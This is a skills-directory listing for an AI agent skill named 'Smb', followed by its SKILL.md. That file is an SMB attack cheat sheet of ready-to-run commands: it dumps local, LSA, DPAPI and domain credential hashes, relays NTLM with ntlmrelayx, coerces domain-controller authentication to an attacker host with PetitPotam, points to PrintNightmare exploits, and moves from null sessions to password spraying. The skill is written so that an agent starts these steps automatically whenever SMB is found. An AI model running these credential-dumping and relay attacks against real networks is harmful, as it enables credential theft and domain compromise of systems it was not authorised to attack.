Skip to content
Back to skills

Smb

ASecurity

SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.

  • 1,278 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added August 31, 2026
ai-agentsgoapi

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 30, 2026

npx -y skills add s0ld13rr/pentestcode --skill smb --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Smb?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Smb
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/s0ld13rr-smb/badge)](https://www.skillsdirectory.com/skills/s0ld13rr-smb)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: svc-smb
description: SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.
---

# SMB — Gotchas & Attack Chains

## DPAPI dump trap
`netexec smb HOST -u USER -p PASS --dpapi` bare = FULL dump (browser passwords, vault, cookies, Credential Manager).
Adding subcommands (`cookies`, `nosystem`, `wifi`) **LIMITS** output. Always bare `--dpapi` first.

## Credential dump order (with local admin)
Run ALL, in order — each gets different secrets:
1. `--sam` — local hashes
2. `--lsa` — service passwords, cached domain creds
3. `--dpapi` — user secrets (browser, vault, Credential Manager)
4. `--ntds` — DC only, all domain hashes
Fallback: `secretsdump.py DOMAIN/USER:PASS@HOST`

## SMB relay (signing disabled)
Check: `netexec smb TARGET` → if "signing: False" → relay is possible.
Generate target list: `netexec smb SUBNET --gen-relay-list relay.txt`
Relay: `impacket-ntlmrelayx -tf relay.txt -smb2support`
Trigger auth: Responder, mitm6, PetitPotam, PrinterBug.

## EternalBlue (MS17-010)
Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: `nmap --script smb-vuln-ms17-010 -p 445 TARGET`.

## PrintNightmare (CVE-2021-34527 / CVE-2021-1675)
Windows Print Spooler RCE via RPC. `rpcdump.py TARGET | grep -i spool` → `cube0x0/CVE-2021-1675` or `cube0x0/CVE-2021-34527`. Patch: KB5004945+. Check GPO `Turn off printing` for mitigation status.

## PetitPotam (CVE-2021-36942 / CVE-2022-26923 / CVE-2022-37967)
Coerce DC NTLM auth via MS-EFSRPC. `PetitPotam.py <attacker> <target>` → capture with Responder/ntlmrelayx → relay to ADCS (ESC8) or LDAP. Patched by KB5005413+ and `LdapEnforceChannelBinding=1` / `LdapServerIntegrity=2`.

## Null session → spray chain
`enum4linux-ng -A TARGET`, `rpcclient -U '' -N TARGET -c 'enumdomusers'`.
If null session works → user list → AS-REP roast / password spray.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.